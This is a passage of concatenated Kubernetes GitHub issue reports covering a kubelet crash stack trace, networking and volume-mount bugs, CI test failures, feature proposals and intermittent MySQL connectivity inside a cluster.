wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:79 +0x41\r sep 27 14:53:27 wade-worker kubelet 30117 : created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/logs.initlogs\r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/logs/logs.go:58 +0x79\r sep 27 14:53:27 wade-worker kubelet 30117 : goroutine 10268  select :\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  containerdata .housekeepingtick 0xc4247a4a00, 0xc4226c74a0, 0x5f5e100, 0xc42228d400 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/container.go:494 +0x147\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  containerdata .housekeeping 0xc4247a4a00 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/container.go:452 +0x235\r sep 27 14:53:27 wade-worker kubelet 30117 : created by k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  containerdata .start\r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/container.go:106 +0x3f\r sep 27 14:53:27 wade-worker kubelet 30117 : goroutine 39  chan receive, 6 minutes :\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/vendor/k8s.io/client-go/tools/record.  eventbroadcasterimpl .starteventwatcher.func1 0x3e2d1a0, 0xc420a100f0, 0xc4210d0030 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/record/event.go:231 +0xa4\r sep 27 14:53:27 wade-worker kubelet 30117 : created by k8s.io/kubernetes/vendor/k8s.io/client-go/tools/record.  eventbroadcasterimpl .starteventwatcher\r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/record/event.go:229 +0x6e\r sep 27 14:53:27 wade-worker kubelet 30117 : goroutine 11273  runnable :\r sep 27 14:53:27 wade-worker kubelet 30117 : internal/poll.runtime_pollwait 0x7f3fd9b7b770, 0x72, 0xc421ed48f8 \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/runtime/netpoll.go:173 +0x57\r sep 27 14:53:27 wade-worker kubelet 30117 : internal/poll.  polldesc .wait 0xc4235d2748, 0x72, 0xffffffffffffff01, 0x3e20700, 0x5bd4598 \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/internal/poll/fd_poll_runtime.go:85 +0x9b\r sep 27 14:53:27 wade-worker kubelet 30117 : internal/poll.  polldesc .waitread 0xc4235d2748, 0xc420d0ee01, 0x200, 0x200 \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/internal/poll/fd_poll_runtime.go:90 +0x3d\r sep 27 14:53:27 wade-worker kubelet 30117 : internal/poll.  fd .read 0xc4235d2730, 0xc420d0ee00, 0x200, 0x200, 0x0, 0x0, 0x0 \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/internal/poll/fd_unix.go:157 +0x17d\r sep 27 14:53:27 wade-worker kubelet 30117 : os.  file .read 0xc4231f60a8, 0xc420d0ee00, 0x200, 0x200, 0x4fa261, 0x30466a0, 0x200 \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/os/file_unix.go:226 +0x4e\r sep 27 14:53:27 wade-worker kubelet 30117 : os.  file .read 0xc4231f60a8, 0xc420d0ee00, 0x200, 0x200, 0x200, 0x200, 0xc420d0ee00 \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/os/file.go:107 +0x6a\r sep 27 14:53:27 wade-worker kubelet 30117 : bytes.  buffer .readfrom 0xc4205ba5b0, 0x3e1dc20, 0xc4231f60a8, 0x44c231, 0x5e0f580, 0xc4235d2a08 \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/bytes/buffer.go:205 +0xa0\r sep 27 14:53:27 wade-worker kubelet 30117 : io/ioutil.readall 0x3e1dc20, 0xc4231f60a8, 0x200, 0x0, 0x0, 0x0, 0x0, 0x0 \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/io/ioutil/ioutil.go:36 +0xb5\r sep 27 14:53:27 wade-worker kubelet 30117 : io/ioutil.readall 0x3e1dc20, 0xc4231f60a8, 0xc4231f60a8, 0x3e1dc20, 0xc4231f60a8, 0xc420d2c580, 0x0 \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/io/ioutil/ioutil.go:45 +0x3e\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/fs.getdirdiskusage 0xc4226d4a20, 0x5c, 0x1bf08eb000, 0xc42099c9c0, 0xc420286388, 0xc420286438 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/fs/fs.go:589 +0x474\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/fs.  realfsinfo .getdirdiskusage 0xc420eaea80, 0xc4226d4a20, 0x5c, 0x1bf08eb000, 0x0, 0x0, 0x0 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/fs/fs.go:565 +0x89\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/container/common.  realfshandler .update 0xc423e67a70, 0x0, 0x0 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/container/common/fshandler.go:82 +0x374\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/container/common.  realfshandler .trackusage 0xc423e67a70 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/container/common/fshandler.go:120 +0x15f\r sep 27 14:53:27 wade-worker kubelet 30117 : created by k8s.io/kubernetes/vendor/github.com/google/cadvisor/container/common.  realfshandler .start\r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/container/common/fshandler.go:142 +0x3f\r sep 27 14:53:27 wade-worker kubelet 30117 : goroutine 143  select, 24 minutes :\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/vendor/google.golang.org/grpc.  addrconn .transportmonitor 0xc420644600 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/clientconn.go:1012 +0x140\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/vendor/google.golang.org/grpc.  addrconn .connect.func1 0xc420644600 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/clientconn.go:703 +0x1b5\r sep 27 14:53:27 wade-worker kubelet 30117 : created by k8s.io/kubernetes/vendor/google.golang.org/grpc.  addrconn .connect\r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/clientconn.go:694 +0x3c3\r sep 27 14:53:27 wade-worker kubelet 30117 : goroutine 27  io wait :\r sep 27 14:53:27 wade-worker kubelet 30117 : internal/poll.runtime_pollwait 0x7f3fd9bfde30, 0x72, 0xc420a1b9a8 \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/runtime/netpoll.go:173 +0x57\r sep 27 14:53:27 wade-worker kubelet 30117 : internal/poll.  polldesc .wait 0xc4203d1498, 0x72, 0xffffffffffffff00, 0x3e20700, 0x5bd4598 \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/internal/poll/fd_poll_runtime.go:85 +0x9b\r sep 27 14:53:27 wade-worker kubelet 30117 : internal/poll.  polldesc .waitread 0xc4203d1498, 0xc420e19000, 0x1000, 0x1000 \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/internal/poll/fd_poll_runtime.go:90 +0x3d\r \r   what you expected to happen  : no sigsegv reported\r \r   how to reproduce it  as minimally and precisely as possible   :\r run locust load: \ curl -x post -f 'locust_count=8000' -f 'hatch_rate=400' http://10.254.0.112:8089/swarm\ \r you can refer to https://github.com/karol-brejna-i/locust-experiments/tree/master/kubernetes\r \r   anything else we need to know?  :\r 1. vlab configuration\r vcpus | 4\r ram | 8gb\r size | 80gb\r 2. start locust with 1 master mode and 50 slave mode\r \r  \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:17:28z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : red hat enterprise linux server 7.5  maipo \r - kernel  e.g.  uname -a  :  linux 3.10.0-862.11.6.el7.x86_64\r - install tools: locust\r - others:\r  kubelet-1.log  https://github.com/kubernetes/kubernetes/files/2454785/kubelet-1.log \r

currently the session affinity based on client ip address, i propose the following changes to support  session affinity can choose the specified source ip.\r \r    go\r type clientipconfig struct {\r \t// timeoutseconds specifies the seconds of clientip type session sticky time.\r \t// the value must be >0 && <=86400 for 1 day  if serviceaffinity == \ clientip\ .\r \t// default value is 10800 for 3 hours .\r \t// +optional\r \ttimeoutseconds  int32\r \t// sourceip is set for session affinity specified source ip.\r \t// +optional\r \tsourceip  string\r }\r    \r for example, if sourceip is set, only \ 192.168.56.0/24\  supports session affinity.\r    yaml\r apiversion: v1\r kind: service\r spec:\r   ...\r   sessionaffinity: clientip\r   sessionaffinityconfig:\r     clientip:\r       timeoutseconds: 1800\r       sourceip: \ 192.168.56.0/24\ \r    \r \r  

what happened  :\r \r each time a node is added to a nodepool, the cluster enters upgrading status. during this time, the kubernetes api is not available, even for k8s system itself.\r for example: k8s.io/dns/pkg/dns/dns.go:192: failed to list  v1.service: get https://10.0.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.0.0.1:443: connect: connection refused\r this means that the gke console can't show the worloads.\r any call to the k8s api fails.\r this lasts for more than one minute depending on the load \r \r   what you expected to happen  :\r no k8s api downtime\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1/ create a cluster - wait for its availability\r 2/ create a nodepool inside with autoscaling on\r 3/ create a pod with node selector corresponding to this nodepool\r \r result is node creating, cluster shows as \ upgrading\  and all the errors.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.3-gke.18\r - cloud provider or hardware configuration: gke. \r - os  e.g. from /etc/os-release : nodepools are with machine type ubuntu whereas cluster is in google cos\r - kernel  e.g.  uname -a  :\r - install tools: ansible, using gcloud command\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i am using windows containers  server core ltsc 2019 . these all have volumes mounted to three different azure file shares under a single storage account. multiple instances of these containers run on each node. on deploying the containers i get the following errors. sometimes this does manage to resolve itself. \r \r mountvolume.setup failed for volume \ log-share\  : remove-smbglobalmapping failed: exit status 1, output: \ remove-smbglobalmapping : no msft_smbglobalmapping objects found with property 'remotepath' equal to \\r\ '\\\\\\\\storageaccounturl\\\\logs'. verify the value of the property and retry.\\r\ at line:1 char:1\\r\ + remove-smbglobalmapping -remotepath $env:smbremotepath -force\\r\ + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\r\  + categoryinfo : objectnotfound:  \\\\\\\\storageaccounturl\\\\logs:string   remove-smbglobalmapping , ci \\r\  mjobexception\\r\  + fullyqualifiederrorid : cmdletizationquery_notfound_remotepath,remove-smbglobalmapping\\r\  \\r\ \ \r \r \r mountvolume.setup failed for volume \ config-share\  : new-smbglobalmapping failed: exit status 1, output: \ new-smbglobalmapping : generic failure \\r\ at line:1 char:190\\r\ + ... ser, $pword;new-smbglobalmapping -remotepath $env:smbremotepath -cred ...\\r\ + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\r\  + categoryinfo : notspecified:  msft_smbglobalmapping:root/microsoft/...mbglobalmapping   new-smbglobalma \\r\  pping , cimexception\\r\  + fullyqualifiederrorid : hresult 0x80041001,new-smbglobalmapping\\r\  \\r\ \ \r \r \r   what you expected to happen  :\r for the volumes to be mounted. this all worked ok in k8s 1.12.1 using windows 1803. i have now upgraded to 1.13.4 and windows ltsc2019.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use aks-engine to create a 1.13.4 cluster with windows nodes\r create a storage account\r create multiple file shares under the account.\r add access credentials to the storage account as a secret on k8s\r create a windows container with folders that will be used to mount the azure storage account file shares.\r deploy to k8s defining volume mounts and volumes in the container section of the deployment\r e.g.\r         volumemounts:\r         - name: folder1-share\r           mountpath: \ c:\\\\app\\folder1\ \r         - name: folder2-share\r           mountpath: \ c:\\\\app\\\\folder2\ \r       volumes:\r       - name: folder1-share\r         azurefile:\r           secretname: azure-file-share-cred\r           sharename: share1\r           readonly: false        \r       - name: folder2-share\r         azurefile:\r           secretname: azure-file-share-cred\r           sharename: share2\r           readonly: true\r \r   anything else we need to know?  :\r this maybe related to the fix for https://github.com/kubernetes/kubernetes/issues/73087\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13.4\r - cloud provider or hardware configuration: azure\r - os  e.g:  cat /etc/os-release  : windows 2019 \r - kernel  e.g.  uname -a  : 10.0.17763.316\r - install tools: aks-engine 0.13.2\r - others:\r

more recent versions of flannel when started with the --ip-masq flag, force a jump to the flannel chain where there's an 'accept all traffic from node subnet' rule. i.e something like:      $ iptables -t nat -l flannel $ iptables -t nat -a postrouting -s $node_cidr -j flannel $ iptables -t nat -a flannel -d $node_cidr -j accept  $ sudo service kube-proxy start      from: https://github.com/coreos/flannel/blob/master/network/ipmasq.go l32  since accept is a built in target like drop, it'll stop processing any of the kube service rules. this manifests as a bug that looks like a misconfigured hairpin mode, i.e, if a pod gets loadbalanced to itself when accessing the service dns name, packets get dropped because of a martian source.  @kubernetes/goog-cluster how do we co-ordinate? is it safe to always have kube-proxy prepend?

@soltysh directing this at you for now because you're listed as the test owner.\r \r in the upgrade test jobs, most of the job e2e tests are failing. see, for example:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.4-container_vm-latest-upgrade-cluster/479\r \r the common error message is:\r    \r expected error:\r     < errors.statuserror | 0xc8212a9d80>: {\r         errstatus: {\r             typemeta: {kind: \ status\ , apiversion: \ v1\ },\r             listmeta: {selflink: \ \ , resourceversion: \ \ },\r             status: \ failure\ ,\r             message: \ the server could not find the requested resource\ ,\r             reason: \ notfound\ ,\r             details: {name: \ \ , group: \ \ , kind: \ \ , causes: nil, retryafterseconds: 0},\r             code: 404,\r         },\r     }\r     the server could not find the requested resource\r not to have occurred\r    \r i'm guessing this is related to renaming and/or moving of job within the api - but please give me your take on this issue. thanks!

the current ceph driver causes issues when the kubelet mounts volumes in a different namespace from the one where the user secret is stored. by default the user secret is stored in the  default  namespace and the user has no way to override it, forcing them to manually copy it over or face various hard-to-debug errors in the logs. see  here  https://github.com/kubernetes/kubernetes/blob/1e1040b524dda1c97dad4faab1910972b71a5c79/pkg/volume/rbd/rbd.go l113 .\r \r the user should be able to specify which namespace the user secret is stored in, similar to the way they can specify the  adminsecretnamespace .

in https://github.com/kubernetes/kubernetes/pull/44680, we added a persistent volume controller with existing code that runs in cloud-controller-manager\r in https://github.com/kubernetes/kubernetes/issues/51629, we cleaned up dependencies for aws/gce for the new controller\r \r next steps,\r \r -     deprecate the persistentvolumelabel admission controller\r -     remove the persistentvolumelabel admission controller once gce and aws can run as external cloud controller

nvidia gpu device plugin exists for gcp's container optimized os  cos   here  https://github.com/googlecloudplatform/container-engine-accelerators/blob/master/device-plugin-daemonset.yaml \r \r we need a device plugin that works on ubuntu, debian and possibly other images too.\r ideally, just one device plugin should suffice in-order to foster collaboration. \r \r nvidia has a public version as well - https://github.com/nvidia/k8s-device-plugin\r \r first step is to compare functionality between device plugins in https://github.com/googlecloudplatform/container-engine-accelerators and https://github.com/nvidia/k8s-device-plugin\r \r step 2 is to see if https://github.com/nvidia/k8s-device-plugin can be extended to work for gcp cos image and other distros. at the least if https://github.com/nvidia/k8s-device-plugin can act as an upstream branch with various knobs that let's downstream users customize and extend that will be good for the community.\r \r cc @jiayingz @flx42 @renaudwastaken @scorpiocph @resouer

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r the first version of pod preemption implemented in k8s 1.8 suffers from a known starvation problem whose details are explained  here  https://kubernetes.io/docs/concepts/configuration/pod-priority-preemption/ starvation-of-preempting-pod . the issue should be fixed.\r \r  /assign\r

https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&test=testdescribeserviceaccount\r    \r --- fail: testdescribeserviceaccount  0.00s \r \tdescribe_test.go:1694: expected : \ name:                bar\ namespace:           foo\ labels:              <none>\ annotations:         <none>\ image pull secrets:  test-local-ref  not found \ mountable secrets:   test-objectref  not found \ tokens:              <none>\ events:              <none>\ \ \r \t\t but got output:\r \t\t \ name:                bar\ namespace:           foo\ labels:              <none>\ annotations:         <none>\ mountable secrets:   test-objectref  not found \ tokens:              <none>\ image pull secrets:  test-local-ref  not found \ events:              <none>\ \ \r    \r \r looks like we may have to sort the order in which things are printed.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  : all recent  pull-kubernetes-verify  tests are failing against  hack/make-rules/../../hack/verify-openapi-spec.sh  eg: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/54053/pull-kubernetes-verify/63091/\r \r   what you expected to happen  : this shouldn't be failing so widely\r \r   how to reproduce it  as minimally and precisely as possible   :\r run  pull-kubernetes-verify  against a pr, it fails.\r \r   anything else we need to know?  : it also failed against a canary migration of verify to prow against a dummy pr that has no code changes: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46662/pull-kubernetes-verify-prow/88/\r \r 

https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-slow\r https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-slow\r \r /  /status approved-for-milestone\r  \r cc @jdumars @jberkus @bowei @mrhohn

pull-kubernetes-e2e-gce tests are failing very frequently with stackdriver related errors: \ failed to create stackdriver logging sink: googleapi: error 400: there is a maximum of 90 sinks allowed, failedprecondition\ \r \r for example: https://k8s-gubernator.appspot.com/pr/61196\r \r 

this is a bug report  :\r     what happened  :\r kubectl get all -n kube-system\r error: {batch  cronjobs} matches multiple kinds  batch/v1beta1, kind=cronjob batch/v2alpha1, kind=cronjob \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r im not sure,\r i start dashboard,heapster by k8s it happened.then i kubeadm reset.\r i start dashboard,heapster by k8s again it happened again.then i kubeadm reset.\r i only start dashboard,its ok. the next day it happened. i havent do anything.\r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  :\r linux tensorflow1 3.10.0-693.el7.x86_64  1 smp tue aug 22 21:09:27 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r kubernetes v1.9.0\r docker：17.03.2-ce\r kubeadm:v1.9.0\r \r googlecontainer/heapster                                 v1.5.1              c41e77c31c91        6 weeks ago         75.3 mb\r nfs:5000/tensorflow/tensorflow                           nightly-gpu         be934a248847        7 weeks ago         2.95 gb\r nfs:5000/tensorflow/tensorflow                           nightly             9124d6961a0e        2 months ago        1.25 gb\r gcr.io/google_containers/kube-proxy-amd64                v1.9.0              f6f363e6e98e        3 months ago        109 mb\r gcr.io/google_containers/kube-apiserver-amd64            v1.9.0              7bff5aa286d7        3 months ago        210 mb\r gcr.io/google_containers/kube-controller-manager-amd64   v1.9.0              3bb172f9452c        3 months ago        138 mb\r gcr.io/google_containers/kube-scheduler-amd64            v1.9.0              5ceb21996307        3 months ago        62.7 mb\r gcr.io/google_containers/kubernetes-dashboard-amd64      v1.8.1              e94d2f21bc0c        3 months ago        121 mb\r quay.io/coreos/flannel                                   v0.9.1-amd64        2b736d06ca4c        4 months ago        51.3 mb\r gcr.io/google_containers/k8s-dns-sidecar-amd64           1.14.7              db76ee297b85        5 months ago        42 mb\r gcr.io/google_containers/k8s-dns-kube-dns-amd64          1.14.7              5d049a8c4eec        5 months ago        50.3 mb\r gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64     1.14.7              5feec37454f4        5 months ago        40.9 mb\r gcr.io/google_containers/etcd-amd64                      3.1.10              1406502a6459        6 months ago        193 mb\r ibmcom/heapster                                          v1.4.0              749531a6d2cf        8 months ago        73.4 mb\r gcr.io/google_containers/pause-amd64                     3.0                 99e59f495ffa        22 months ago       747 kb\r kubernetes/heapster                                      latest              d2d2bfdfb48f        2 years ago         34.5 mb\r dockerinaction/hello_world                               latest              a1a9a5ed65e9        2 years ago         2.43 mb\r kubernetes/heapster_grafana                              latest              b2951ae24ffe        3 years ago         250 mb\r kubernetes/heapster_influxdb                             latest              10eaf557026e        3 years ago         275 mb\r \r \r - others:\r

conversation started by @davidopp due to complexities arising from node-to-master communication  e.g.,  6193,  6285,  6077,  6063,  6052,  5953 .  overall communication issues: - performance, latency, scalability - dos - raw and waw consistency - clock skew / time synchronization - true and false conflicts - auth - component discovery  i'll wait for @davidopp to fill in his proposal.  cc @erictune @lavalamp @thockin @dchen1107 @smarterclayton @gmarek

failing jobs\r \r  sig-release-master-blocking gci-gce-alpha-features  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-alpha-features \r \r   failing tests\r \r  sig-release-master-blocking gci-gce-alpha-features-ceph should create sc, pod, pv, and pvc, read/write to the pv, and delete all created resources  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features/23271 \r \r  sig-release-master-blocking gci-gce-alpha-features-isci should create sc, pod, pv, and pvc, read/write to the pv, and delete all created resources  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features/23271\r  \r \r  sig-release-master-blocking gci-gce-alpha-features-isci should fail to create pod by failing to mount volume  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features/23271\r  \r \r   triage results\r \r  sig-release-master-blocking gci-gce-alpha-features should create sc, pod, pv, and pvc, read/write to the pv, and delete all created resources  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=gci-gce-alpha-features&test=should%20create%20sc%2c%20pod%2c%20pv%2c%20and%20pvc%2c%20read%2fwrite%20to%20the%20pv%2c%20and%20delete%20all%20created%20resources\r  \r \r  sig-release-master-blocking gci-gce-alpha-features should fail to create pod by failing to mount volume  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=gci-gce-alpha-features&test=should%20fail%20to%20create%20pod%20by%20failing%20to%20mount%20volume \r \r the tests are currently failing in sig-release-master-blocking\r \r /  \r /cc @aishsundar @tpepper \r

 \r sometimes connect and another sometimes not connect. i attach logs:\r \r    \r root@backup-test-user-5fb5658b8c-mrkhp:/  mysql -p 3306 -h mysql.dev-namespace -u root -ppass --batch --skip-column-names '-eshow databases;'\r mysql:  warning  using a password on the command line interface can be insecure.\r error 2003  hy000 : can't connect to mysql server on 'mysql.dev-namespace'  111 \r root@backup-test-user-5fb5658b8c-mrkhp:/  mysql -p 3306 -h mysql.dev-namespace -u root -pass --batch --skip-column-names '-eshow databases;'\r mysql:  warning  using a password on the command line interface can be insecure.\r information_schema\r mysql\r performance_schema\r sys\r root@backup-test-user-5fb5658b8c-mrkhp:/  mysql -p 3306 -h mysql.dev-namespace -u root -ppass --batch --skip-column-names '-eshow databases;'\r mysql:  warning  using a password on the command line interface can be insecure.\r information_schema\r mysql\r performance_schema\r sys\r root@backup-test-user-5fb5658b8c-mrkhp:/  mysql -p 3306 -h mysql.dev-namespace -u root -pass --batch --skip-column-names '-eshow databases;'\r mysql:  warning  using a password on the command line interface can be insecure.\r error 2003  hy000 : can't connect to mysql server on 'mysql.dev-namespace'  111 \r root@backup-test-user-5fb5658b8c-mrkhp:/  mysql -p 3306 -h mysql.dev-namespace -u root -pass --batch --skip-column-names '-eshow databases;'\r mysql:  warning  using a password on the command line interface can be insecure.\r error 2003  hy000 : can't connect to mysql server on 'mysql.dev-namespace'  111 \r root@backup-test-user-5fb5658b8c-mrkhp:/  mysql -p 3306 -h mysql.dev-namespace -u root -pass --batch --skip-column-names '-eshow databases;'\r mysql:  warning  using a password on the command line interface can be insecure.\r error 2003  hy000 : can't connect to mysql server on 'mysql.dev-namespace'  111 \r root@backup-test-user-5fb5658b8c-mrkhp:/  mysql -p 3306 -h mysql.dev-namespace -u root -pass --batch --skip-column-names '-eshow databases;'\r mysql:  warning  using a password on the command line interface can be insecure.\r information_schema\r mysql\r performance_schema\r sys\r root@backup-test-user-5fb5658b8c-mrkhp:/  mysql -p 3306 -h mysql.dev-namespace -u root -ppass --batch --skip-column-names '-eshow databases;'\r mysql:  warning  using a password on the command line interface can be insecure.\r information_schema\r mysql\r performance_schema\r sys\r root@backup-test-user-5fb5658b8c-mrkhp:/  mysql -p 3306 -h mysql.dev-namespace -u root -ppass --batch --skip-column-names '-eshow databases;'\r mysql:  warning  using a password on the command line interface can be insecure.\r error 2003  hy000 : can't connect to mysql server on 'mysql.dev-namespace'  111 \r root@backup-test-user-5fb5658b8c-mrkhp:/  mysql -p 3306 -h mysql.dev-namespace -u root -pass --batch --skip-column-names '-eshow databases;'\r mysql:  warning  using a password on the command line interface can be insecure.\r error 2003  hy000 : can't connect to mysql server on 'mysql.dev-namespace'  111 \r 